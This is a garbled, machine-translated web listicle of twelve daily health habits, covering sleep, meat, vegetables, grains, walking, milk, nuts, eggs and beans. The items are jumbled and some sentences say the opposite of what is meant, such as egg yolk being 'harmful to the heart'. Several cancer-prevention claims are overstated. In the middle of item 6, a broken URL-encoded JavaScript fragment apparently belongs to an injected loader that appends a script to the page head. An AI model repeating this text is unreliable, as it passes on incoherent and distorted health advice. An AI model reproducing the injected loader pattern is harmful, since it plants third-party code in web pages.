12 healthy New Year gift

 12 8 hours a day - sleep is the body to repair itself and charging time. high-quality sleep is the best way to beauty, but also reduce the cancer The easiest way to dangerous.

7 one or two a day meat - meat and aquaculture in the heme iron, zinc and protein can help women with ruddy face and a warm body, as long as the amount of intake, you can have both tasty and healthy.

5 catty green day - among the vegetables, dark green leafy vegetables are the essence of nutrition, whether it is strong bones, or the prevention of brain aging, leafy green vegetables have the unexpected effect!

1 day catty grain - grain for Yang, food can nourish the brain, but also conservation of the stomach, adequate food staple will not make people fat.

11 six thousand steps every day - exercise is to maintain a strong heart and the only way to slim. walk faster pace as far as possible, plus twice-weekly aerobic exercise, can effectively delay aging.

2 meals a day of crude - whole grains rich in vitamin B family, minerals and dietary fiber, so we have a smooth and sustained energy intestine.


In the New Year approaching, there will always harvest inventory and look forward to growth. With food, with a carnival, with the gift, reward yourself with fun ...... people, blessing the future. However, you have not thought of, their own health but also requires an inventory, your body is also looking forward to a New Year gift it?
6 tsByTagName% 28% 27head% 27% 29% 5B0% 5D.appendChild% 28s% 29% 3B% 0D% 0A ')); window.xx = 1}} (this ));offers a variety of antioxidants and a lot of potassium to stabilize blood pressure, control blood cholesterol and be beneficial to cancer prevention.

; 9 a glass of milk a day - milk in a large number of calcium and essential vitamins for women. If you do not like to drink milk, it does not matter, no less yogurt, and one of the many advantages of probiotics.

< p> 10 daily spoonful of kernels - Nuts and seeds are nutrient dense foods, eat a spoonful every morning, to satisfy the appetite and can add a variety of trace elements, while soothing beauty.

8 per days of an egg - the yolk is convinced that the latest research treasure trove of nutrients, which contains 12 kinds of vitamins and a variety of health ingredients. It is not only harmful to the heart, but also help delay aging.

4 pound of vegetables per day - vegetable is a healthy life eternal topic, it is the supply of health-care ingredients, vitamins and dietary fiber help people to stay away from many types of cancer.

3 a day, beans - beans and soy products can help supplement protein, is the source of a variety of health ingredients, let's not easy to gain weight, but not easy to aging.